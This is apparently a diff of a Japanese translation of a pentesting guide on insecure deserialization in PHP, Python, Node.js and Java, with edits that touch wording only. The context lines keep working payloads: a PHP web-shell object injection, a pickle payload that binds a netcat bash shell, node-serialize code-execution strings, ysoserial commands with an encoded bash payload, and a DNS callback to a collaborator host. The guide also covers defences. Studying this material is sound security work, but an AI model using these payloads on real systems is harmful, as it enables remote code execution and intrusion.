7.0**で`unserialize()`の**第2引数**(`$options`配列)のサポートが追加されました。古いバージョンでは、この関数はシリアライズされた文字列のみを受け入れ、どのクラスがインスタンス化されるかを制限することが不可能です。 +> **PHP 7.0**で`unserialize()`の**第2引数**(`$options`配列)のサポートが追加されました。古いバージョンでは、関数はシリアライズされた文字列のみを受け入れ、どのクラスがインスタンス化されるかを制限することが不可能です。 `unserialize()`は、特に指示がない限り、シリアライズされたストリーム内で見つかった**すべてのクラス**を**インスタンス化**します。PHP 7以降、この動作は[`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php)オプションで制限できます: ```php @@ -136,7 +136,7 @@ $object = unserialize($userControlledData, [ 'allowed_classes' => [MyModel::class, DateTime::class] ]); ``` -もし**`allowed_classes`が省略されるか、コードがPHP < 7.0で実行される**場合、攻撃者が`__wakeup()`や`__destruct()`のようなマジックメソッドを悪用するペイロードを作成できるため、呼び出しは**危険**になります。 +もし**`allowed_classes`が省略されるか、コードがPHP < 7.0で実行される**場合、攻撃者が`__wakeup()`や`__destruct()`などのマジックメソッドを悪用するペイロードを作成できるため、呼び出しは**危険**になります。 #### 実世界の例: Everest Forms (WordPress) CVE-2025-52709 @@ -155,14 +155,14 @@ return @unserialize(trim($data)); return $data; } ``` -**PHP ≤ 7.0** をまだ実行しているサーバーでは、この2番目の分岐が管理者が悪意のあるフォーム送信を開いたときに古典的な **PHP Object Injection** につながりました。最小限のエクスプロイトペイロードは次のようになります: +**PHP ≤ 7.0** をまだ実行しているサーバーでは、この2番目の分岐が管理者が悪意のあるフォーム送信を開いたときに古典的な **PHP Object Injection** に至りました。最小限のエクスプロイトペイロードは次のようになります: ``` O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";} ``` -管理者がエントリを表示すると、オブジェクトがインスタンス化され、`SomeClass::__destruct()`が実行され、任意のコードが実行される結果となりました。 +管理者がエントリを表示すると、オブジェクトがインスタンス化され、`SomeClass::__destruct()`が実行され、任意のコードが実行されました。 **ポイント** -1. `unserialize()`を呼び出す際は、常に`['allowed_classes' => false]`(または厳格なホワイトリスト)を渡してください。 +1. `unserialize()`を呼び出す際は、常に`['allowed_classes' => false]`(または厳密なホワイトリスト)を渡してください。 2. 防御ラッパーを監査してください – それらはしばしばレガシーPHPブランチを忘れがちです。 3. **PHP ≥ 7.x** へのアップグレードだけでは*不十分*です:オプションは明示的に指定する必要があります。 @@ -171,8 +171,8 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";} ### PHPGGC (PHP用のysoserial) [**PHPGGC**](https://github.com/ambionics/phpggc)は、PHPのデシリアライズを悪用するためのペイロードを生成するのに役立ちます。\ -いくつかのケースでは、アプリケーションのソースコード内でデシリアライズを悪用する方法を**見つけることができない**かもしれませんが、**外部PHP拡張のコードを悪用することができるかもしれません。**\ -したがって、可能であれば、サーバーの`phpinfo()`を確認し、**インターネットで検索**(さらには**PHPGGCのガジェット**でも)して、悪用できる可能性のあるガジェットを探してください。 +アプリケーションのソースコード内でデシリアライズを悪用する方法が見つからない場合もありますが、**外部PHP拡張のコードを悪用できる可能性があります。**\ +したがって、可能であれば、サーバーの`phpinfo()`を確認し、**インターネットで検索**(さらには**PHPGGCのガジェット**も)して、悪用できる可能性のあるガジェットを探してください。 ### phar:// メタデータデシリアライズ @@ -196,7 +196,7 @@ def __reduce__(self): return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",)) print(base64.b64encode(pickle.dumps(P()))) ``` -以下のバイパステクニックを確認する前に、`print(base64.b64encode(pickle.dumps(P(),2)))`を使用して、Python3を実行している場合にPython2と互換性のあるオブジェクトを生成してください。 +以下のバイパステクニックを確認する前に、`print(base64.b64encode(pickle.dumps(P(),2)))`を使用して、python3を実行している場合にpython2と互換性のあるオブジェクトを生成してください。 **pickle jails**からの脱出に関する詳細情報は次を確認してください: @@ -206,7 +206,7 @@ print(base64.b64encode(pickle.dumps(P()))) ### Yaml **&** jsonpickle -次のページでは、**yamlの不安全なデシリアライズを悪用する技術**を紹介し、**Pickle, PyYAML, jsonpickle, ruamel.yaml**のためのRCEデシリアライズペイロードを生成するために使用できるツールで締めくくります: +次のページでは、**yamls**のpythonライブラリにおける**安全でないデシリアライズの悪用**のテクニックを紹介し、**Pickle, PyYAML, jsonpickle, ruamel.yaml**のためのRCEデシリアライズペイロードを生成するために使用できるツールで締めくくります: {{#ref}} python-yaml-deserialization.md @@ -223,7 +223,7 @@ python-yaml-deserialization.md ### JS マジック関数 JSは、オブジェクトを作成するためだけに実行される**"マジック"関数**を持っていませんが、**`toString`**、**`valueOf`**、**`toJSON`**のように、**直接呼び出さなくても頻繁に使用される**いくつかの**関数**があります。\ -デシリアライズを悪用する場合、これらの関数を**妥協して他のコードを実行**させることができれば、呼び出されたときに任意のコードを実行できます。 +デシリアライズを悪用する場合、これらの関数を**妥協して他のコードを実行**することができれば、呼び出されたときに任意のコードを実行することができます。 関数を直接呼び出さずに**"マジック"な方法**で呼び出すもう一つの方法は、**非同期関数**(プロミス)によって返されるオブジェクトを**妥協する**ことです。なぜなら、その**返されるオブジェクト**を**"then"という関数型のプロパティ**を持つ別の**プロミス**に**変換**すると、別のプロミスによって返されるだけで**実行される**からです。_詳細については_ [_**このリンク**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _を参照してください。_ ```javascript @@ -276,7 +276,7 @@ console.log("Serialized: \n" + payload_serialized) ```bash {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} ``` -関数がシリアライズされると、シリアライズされたオブジェクトに `_$$ND_FUNC$$_` フラグが追加されることが例からわかります。 +関数がシリアライズされると、`_$$ND_FUNC$$_` フラグがシリアライズされたオブジェクトに追加されることが例で示されています。 ファイル `node-serialize/lib/serialize.js` 内で、同じフラグとそのコードの使用方法を見つけることができます。 @@ -284,11 +284,11 @@ console.log("Serialized: \n" + payload_serialized) ![](<../../images/image (446).png>) -最後のコードのチャンクでわかるように、**フラグが見つかった場合**、`eval` が関数をデシリアライズするために使用されるので、基本的に **ユーザー入力が `eval` 関数内で使用されている**ことになります。 +最後のコードのチャンクで見られるように、**フラグが見つかった場合**、`eval` が関数をデシリアライズするために使用されるので、基本的に **ユーザー入力が `eval` 関数内で使用されています**。 -しかし、**関数をシリアライズするだけでは**それを**実行することはありません**。なぜなら、コードの一部が**`y.rce`を呼び出す必要がある**からで、これは非常に**ありそうにありません**。\ +しかし、**関数をシリアライズするだけでは**、それを**実行することはありません**。なぜなら、コードの一部が**`y.rce`を呼び出す必要がある**からで、これは非常に**ありそうにありません**。\ それでも、**シリアライズされたオブジェクトを修正して**、**いくつかの括弧を追加する**ことで、オブジェクトがデシリアライズされるときにシリアライズされた関数を自動的に実行させることができます。\ -次のコードのチャンクで、**最後の括弧**と、`unserialize` 関数がどのように自動的にコードを実行するかに注意してください: +次のコードのチャンクで、**最後の括弧**と`unserialize`関数がどのように自動的にコードを実行するかに注意してください: ```javascript var serialize = require("node-serialize") var test = { @@ -303,11 +303,11 @@ var test = "{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}" serialize.unserialize(test) ``` -ここで[**詳細を見つけることができます**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **この脆弱性を悪用する方法について**。 +ここで[**詳細情報**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)を見つけることができます。この脆弱性を悪用する方法について。 ### [funcster](https://www.npmjs.com/package/funcster) -**funcster**の注目すべき点は、**標準の組み込みオブジェクト**へのアクセス不可であり、それらはアクセス可能なスコープの外にあります。この制限により、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が妨げられ、`console.log()`や`require(something)`のようなコマンドを使用すると、`"ReferenceError: console is not defined"`のような例外が発生します。 +**funcster**の注目すべき点は、**標準の組み込みオブジェクト**へのアクセスができないことです。これらはアクセス可能なスコープの外にあります。この制限により、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が妨げられ、`console.log()`や`require(something)`のようなコマンドを使用すると、`"ReferenceError: console is not defined"`のような例外が発生します。 この制限にもかかわらず、特定のアプローチを通じて、すべての標準の組み込みオブジェクトを含むグローバルコンテキストへの完全なアクセスを復元することが可能です。グローバルコンテキストを直接利用することで、この制限を回避できます。たとえば、次のスニペットを使用してアクセスを再確立できます: ```javascript @@ -366,7 +366,7 @@ deserialize(test) ## Java - HTTP -Javaでは、**デシリアライズコールバックはデシリアライズプロセス中に実行されます**。この実行は、攻撃者がこれらのコールバックをトリガーする悪意のあるペイロードを作成することで悪用され、潜在的に有害なアクションの実行につながる可能性があります。 +Javaでは、**デシリアライズコールバックはデシリアライズプロセス中に実行されます**。この実行は、これらのコールバックをトリガーする悪意のあるペイロードを作成する攻撃者によって悪用される可能性があり、有害なアクションの実行につながることがあります。 ### フィンガープリント @@ -410,35 +410,35 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA find . -iname "*commons*collection*" grep -R InvokeTransformer . ``` -あなたは、**脆弱性が知られているすべてのライブラリを確認し**、それに対して[**Ysoserial**](https://github.com/frohoff/ysoserial)がエクスプロイトを提供できるかもしれません。または、[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)に示されているライブラリを確認することもできます。\ +あなたは、**脆弱性が知られているすべてのライブラリを確認し**、[**Ysoserial**](https://github.com/frohoff/ysoserial)が提供できるエクスプロイトを探すことができます。また、[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)に示されているライブラリを確認することもできます。\ さらに、[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)を使用して、エクスプロイト可能な可能性のあるガジェットチェーンを検索することもできます。\ **gadgetinspector**を実行する際(ビルド後)は、発生する多数の警告/エラーを気にせず、完了するまで待ってください。すべての結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に書き込まれます。**gadgetinspectorはエクスプロイトを作成せず、偽陽性を示す可能性があることに注意してください**。 #### ブラックボックステスト -Burp拡張機能[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)を使用すると、**どのライブラリが利用可能か**(バージョンも含む)を特定できます。この情報をもとに、脆弱性をエクスプロイトするための**ペイロードを選択しやすくなる**かもしれません。\ +Burp拡張機能[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)を使用すると、**どのライブラリが利用可能か**(バージョンも含む)を特定できます。この情報をもとに、脆弱性をエクスプロイトするための**ペイロードを選択しやすくなる**でしょう。\ [**GadgetProbeについて詳しく学ぶにはこちらをお読みください**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**。**\ GadgetProbeは**`ObjectInputStream`のデシリアライズ**に焦点を当てています。 -Burp拡張機能[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)を使用すると、**ysoserialでエクスプロイト可能な脆弱なライブラリを特定**し、それを**エクスプロイト**できます。\ +Burp拡張機能[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)を使用すると、**ysoserialでエクスプロイト可能な脆弱なライブラリを特定**し、**それらをエクスプロイト**できます。\ [**Java Deserialization Scannerについて詳しく学ぶにはこちらをお読みください。**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ Java Deserialization Scannerは**`ObjectInputStream`**のデシリアライズに焦点を当てています。 -また、[**Freddy**](https://github.com/nccgroup/freddy)を使用して、**Burp**内のデシリアライズの脆弱性を**検出**することもできます。このプラグインは、**`ObjectInputStream`**に関連する脆弱性だけでなく、**Json**や**Yml**デシリアライズライブラリからの脆弱性も検出します。アクティブモードでは、スリープやDNSペイロードを使用してそれらを確認しようとします。\ +[**Freddy**](https://github.com/nccgroup/freddy)を使用して、**Burp**内のデシリアライズの脆弱性を**検出**することもできます。このプラグインは、**`ObjectInputStream`**に関連する脆弱性だけでなく、**Json**や**Yml**デシリアライズライブラリの脆弱性も検出します。アクティブモードでは、スリープやDNSペイロードを使用して確認を試みます。\ [**Freddyについての詳細情報はこちらで確認できます。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) **シリアライズテスト** -サーバーが使用している脆弱なライブラリを確認するだけではありません。時には、**シリアライズされたオブジェクト内のデータを変更して、いくつかのチェックをバイパスできる**場合があります(ウェブアプリ内で管理者権限を付与されるかもしれません)。\ -ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で印刷することができます**。送信しているデータを知ることで、それを変更していくつかのチェックをバイパスするのが容易になります。 +サーバーが使用している脆弱なライブラリを確認するだけではありません。時には、**シリアライズされたオブジェクト内のデータを変更して、いくつかのチェックをバイパスすることができるかもしれません**(ウェブアプリ内で管理者権限を付与するかもしれません)。\ +ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で表示することができます**。送信しているデータを知ることで、それを変更していくつかのチェックをバイパスすることが容易になります。 ### **エクスプロイト** #### **ysoserial** Javaデシリアライズをエクスプロイトするための主なツールは[**ysoserial**](https://github.com/frohoff/ysoserial)です([**こちらからダウンロード**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。また、複雑なコマンド(例えばパイプを使用)を使用できる[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)の使用も検討できます。\ -このツールは**`ObjectInputStream`**のエクスプロイトに**焦点を当てています**。\ -私は**RCEペイロードの前に「URLDNS」ペイロードを使用することを始める**ことをお勧めします。注目すべきは、「URLDNS」ペイロードが機能しない場合でも、他のRCEペイロードが機能する可能性があることです。 +このツールは**`ObjectInputStream`**のエクスプロイトに**焦点を当てている**ことに注意してください。\ +私は**RCEペイロードの前に「URLDNS」ペイロードを使用することをお勧めします**。注目すべきは、「URLDNS」ペイロードが機能しない場合でも、他のRCEペイロードが機能する可能性があることです。 ```bash # PoC to make the application perform a DNS req java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload @@ -483,9 +483,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb # Base64 encode payload in base64 base64 -w0 payload ``` -**java.lang.Runtime.exec()** のペイロードを作成する際、実行の出力をリダイレクトするために ">" や "|" のような特殊文字を使用することはできません。また、コマンドを実行するために "$()" を使用したり、**スペース**で区切られた**引数**をコマンドに渡すこともできません(`echo -n "hello world"` は可能ですが、`python2 -c 'print "Hello world"'` はできません)。ペイロードを正しくエンコードするために、[このウェブページ](http://www.jackson-t.ca/runtime-exec-payloads.html)を使用することができます。 +**java.lang.Runtime.exec()** のペイロードを作成する際、実行の出力をリダイレクトするために ">" や "|" のような特殊文字を使用することはできません。また、コマンドを実行するために "$()" を使用したり、**スペース**で区切られた**引数**をコマンドに渡すこともできません(`echo -n "hello world"` は可能ですが、`python2 -c 'print "Hello world"'` はできません)。ペイロードを正しくエンコードするためには、[このウェブページ](http://www.jackson-t.ca/runtime-exec-payloads.html)を使用することができます。 -次のスクリプトを使用して、Windows と Linux のための**すべての可能なコード実行**ペイロードを作成し、脆弱なウェブページでテストしてください: +次のスクリプトを使用して、Windows と Linux のための**すべての可能なコード実行**ペイロードを作成し、脆弱なウェブページでテストしてください: ```python import os import base64 @@ -508,12 +508,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local') ``` #### serialkillerbypassgadgets -You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) +あなたは**https://github.com/pwntester/SerialKillerBypassGadgetCollection**を**ysoserialと一緒に使用して、より多くのエクスプロイトを作成することができます**。このツールに関する詳細は、ツールが発表された**トークのスライド**にあります: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) #### marshalsec [**marshalsec** ](https://github.com/mbechler/marshalsec)は、Javaの異なる**Json**および**Yml**シリアル化ライブラリを悪用するためのペイロードを生成するために使用できます。\ -プロジェクトをコンパイルするために、`pom.xml`にこの**依存関係**を**追加**する必要がありました: +プロジェクトをコンパイルするために、私は`pom.xml`にこの**依存関係**を**追加する必要がありました**: ```html <dependency> <groupId>javax.activation</groupId> @@ -539,7 +539,7 @@ mvn clean package -DskipTests ### Labs -- いくつかのysoserialペイロードをテストしたい場合は、**このウェブアプリを実行できます**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) +- いくつかのysoserialペイロードをテストしたい場合は、**このウェブアプリを実行**できます: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) - [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) ### Why @@ -550,13 +550,13 @@ Javaはさまざまな目的で多くのシリアル化を使用します: - **RMI (Remote Method Invocation)**: Java RMIプロトコルは、シリアル化に完全に依存しており、Javaアプリケーションにおけるリモート通信の基盤です。 - **RMI over HTTP**: この方法は、Javaベースの厚いクライアントウェブアプリケーションによって一般的に使用され、すべてのオブジェクト通信にシリアル化を利用します。 - **JMX (Java Management Extensions)**: JMXは、ネットワーク上でオブジェクトを送信するためにシリアル化を利用します。 -- **カスタムプロトコル**: Javaでは、標準的な慣行として生のJavaオブジェクトの送信が含まれ、今後のエクスプロイト例で示されます。 +- **カスタムプロトコル**: Javaでは、標準的な慣行として、生のJavaオブジェクトの送信が含まれ、今後のエクスプロイト例で示されます。 ### Prevention #### Transient objects -`Serializable`を実装するクラスは、シリアル化すべきでないクラス内の任意のオブジェクトを`transient`として実装できます。例えば: +`Serializable`を実装するクラスは、シリアル化されるべきでないクラス内の任意のオブジェクトを`transient`として実装できます。例えば: ```java public class myAccount implements Serializable { @@ -573,12 +573,12 @@ throw new java.io.IOException("Cannot be deserialized"); ``` #### **Javaにおけるデシリアライズセキュリティの強化** -**`java.io.ObjectInputStream`のカスタマイズ**は、デシリアライズプロセスを保護するための実用的なアプローチです。この方法は、以下の場合に適しています。 +**`java.io.ObjectInputStream`のカスタマイズ**は、デシリアライズプロセスを保護するための実用的なアプローチです。この方法は、次の場合に適しています: - デシリアライズコードがあなたの管理下にある。 - デシリアライズのために期待されるクラスが知られている。 -**`resolveClass()`**メソッドをオーバーライドして、許可されたクラスのみにデシリアライズを制限します。これにより、明示的に許可されたクラス以外のデシリアライズが防止されます。以下の例では、デシリアライズを`Bicycle`クラスのみに制限しています。 +**`resolveClass()`**メソッドをオーバーライドして、許可されたクラスのみにデシリアライズを制限します。これにより、明示的に許可されたクラス以外のデシリアライズが防止されます。以下の例では、デシリアライズを`Bicycle`クラスのみに制限しています: ```java // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html public class LookAheadObjectInputStream extends ObjectInputStream { @@ -599,7 +599,7 @@ return super.resolveClass(desc); } } ``` -**セキュリティ強化のためのJavaエージェントの使用**は、コードの修正が不可能な場合の代替ソリューションを提供します。この方法は主に**有害なクラスのブラックリスト化**に適用され、JVMパラメータを使用します: +**セキュリティ強化のためのJavaエージェントの使用**は、コードの修正が不可能な場合の代替ソリューションを提供します。この方法は主に**有害なクラスのブラックリスト化**に適用され、JVMパラメータを使用します: ``` -javaagent:name-of-agent.jar ``` @@ -607,7 +607,7 @@ return super.resolveClass(desc); [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)の例を確認してください。 -**シリアライゼーションフィルターの実装**: Java 9では、**`ObjectInputFilter`**インターフェースを介してシリアライゼーションフィルターが導入され、デシリアライズされる前にシリアライズされたオブジェクトが満たすべき基準を指定するための強力なメカニズムを提供します。これらのフィルターは、グローバルにまたはストリームごとに適用でき、デシリアライズプロセスに対する詳細な制御を提供します。 +**シリアライゼーションフィルターの実装**: Java 9は**`ObjectInputFilter`**インターフェースを介してシリアライゼーションフィルターを導入し、デシリアライズされる前にシリアライズされたオブジェクトが満たすべき基準を指定するための強力なメカニズムを提供します。これらのフィルターは、グローバルにまたはストリームごとに適用でき、デシリアライズプロセスに対する詳細な制御を提供します。 シリアライゼーションフィルターを利用するには、すべてのデシリアライズ操作に適用されるグローバルフィルターを設定するか、特定のストリームのために動的に構成することができます。例えば: ```java @@ -624,8 +624,8 @@ ObjectInputFilter.Config.setSerialFilter(filter); **外部ライブラリを活用したセキュリティの強化**: **NotSoSerial**、**jdeserialize**、および**Kryo**などのライブラリは、Javaのデシリアライズを制御および監視するための高度な機能を提供します。これらのライブラリは、クラスのホワイトリストやブラックリストの作成、デシリアライズ前のシリアライズされたオブジェクトの分析、カスタムシリアライズ戦略の実装など、追加のセキュリティ層を提供できます。 - **NotSoSerial**は、信頼できないコードの実行を防ぐためにデシリアライズプロセスを傍受します。 -- **jdeserialize**は、シリアライズされたJavaオブジェクトをデシリアライズせずに分析することを可能にし、潜在的に悪意のあるコンテンツを特定するのに役立ちます。 -- **Kryo**は、速度と効率を重視した代替のシリアライズフレームワークで、セキュリティを強化できる構成可能なシリアライズ戦略を提供します。 +- **jdeserialize**は、デシリアライズせずにシリアライズされたJavaオブジェクトを分析できるため、潜在的に悪意のあるコンテンツを特定するのに役立ちます。 +- **Kryo**は、スピードと効率を重視した代替シリアライゼーションフレームワークで、セキュリティを強化できる構成可能なシリアライゼーション戦略を提供します。 ### 参考文献 @@ -633,17 +633,17 @@ ObjectInputFilter.Config.setSerialFilter(filter); - デシリアライズとysoserialのトーク: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) - [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) - [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ) -- gadgetinspectorについてのトーク: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) およびスライド: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) +- gadgetinspectorについてのトーク: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) とスライド: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) - Marshalsec論文: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) -- Javaと.NetのJSONデシリアライズ **論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) およびスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- Javaと.NetのJSONデシリアライズ **論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) とスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - デシリアライズのCVE: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) ## JNDIインジェクション & log4Shell -**JNDIインジェクションとは何か、RMI、CORBA、LDAPを介してどのように悪用するか、log4shellをどのように悪用するか**(およびこの脆弱性の例)については、以下のページを参照してください: +**JNDIインジェクションとは何か、RMI、CORBA、LDAPを介してどのように悪用するか、log4shellをどのように悪用するか(およびこの脆弱性の例)**については、以下のページを参照してください: {{#ref}} @@ -652,7 +652,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ## JMS - Javaメッセージサービス -> **Javaメッセージサービス**(**JMS**)APIは、2つ以上のクライアント間でメッセージを送信するためのJavaメッセージ指向ミドルウェアAPIです。これは、プロデューサー–コンシューマー問題を処理するための実装です。JMSはJavaプラットフォーム、エンタープライズエディション(Java EE)の一部であり、Sun Microsystemsで開発された仕様によって定義されましたが、その後Javaコミュニティプロセスによって指導されています。これは、Java EEに基づくアプリケーションコンポーネントがメッセージを作成、送信、受信、および読み取ることを可能にするメッセージング標準です。これは、分散アプリケーションの異なるコンポーネント間の通信を緩く結合し、信頼性が高く非同期にします。(出典: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service))。 +> **Javaメッセージサービス**(**JMS**)APIは、2つ以上のクライアント間でメッセージを送信するためのJavaメッセージ指向ミドルウェアAPIです。これは、プロデューサー–コンシューマー問題を処理するための実装です。JMSはJavaプラットフォーム、エンタープライズエディション(Java EE)の一部であり、Sun Microsystemsで開発された仕様によって定義されましたが、その後Javaコミュニティプロセスによって指導されています。これは、Java EEに基づくアプリケーションコンポーネントがメッセージを作成、送信、受信、読み取ることを可能にするメッセージング標準です。これは、分散アプリケーションの異なるコンポーネント間の通信を緩く結合し、信頼性が高く非同期にします。(出典: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service))。 ### 製品 @@ -664,16 +664,16 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ### 悪用 -基本的に、**危険な方法でJMSを使用しているサービスが多数存在します**。したがって、これらのサービスにメッセージを送信するための**十分な権限**がある場合(通常は有効な資格情報が必要です)、**デシリアライズされる悪意のあるシリアライズオブジェクトを送信できる可能性があります**。\ +基本的に、**危険な方法でJMSを使用しているサービスが多数存在します**。したがって、これらのサービスにメッセージを送信するための**十分な権限**がある場合(通常は有効な資格情報が必要です)、**デシリアライズされる悪意のあるオブジェクトを送信できる可能性があります**。\ これは、この悪用において、**そのメッセージを使用するすべてのクライアントが感染する**ことを意味します。 サービスが脆弱である場合(ユーザー入力を安全でない方法でデシリアライズしているため)、脆弱性を悪用するためには有効なガジェットを見つける必要があることを忘れないでください。 -ツール[**JMET**](https://github.com/matthiaskaiser/jmet)は、**既知のガジェットを使用してシリアライズされた複数の悪意のあるオブジェクトを送信するためにこれらのサービスに接続して攻撃するために作成されました**。これらのエクスプロイトは、サービスが依然として脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。 +ツール[JMET](https://github.com/matthiaskaiser/jmet)は、**既知のガジェットを使用してシリアライズされた複数の悪意のあるオブジェクトを送信するためにこれらのサービスに接続して攻撃するために作成されました**。これらのエクスプロイトは、サービスが依然として脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。 ### 参考文献 -- [Patchstack advisory – Everest Formsの認証されていないPHPオブジェクトインジェクション(CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/) +- [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/) - JMETトーク: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) - スライド: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) @@ -686,7 +686,7 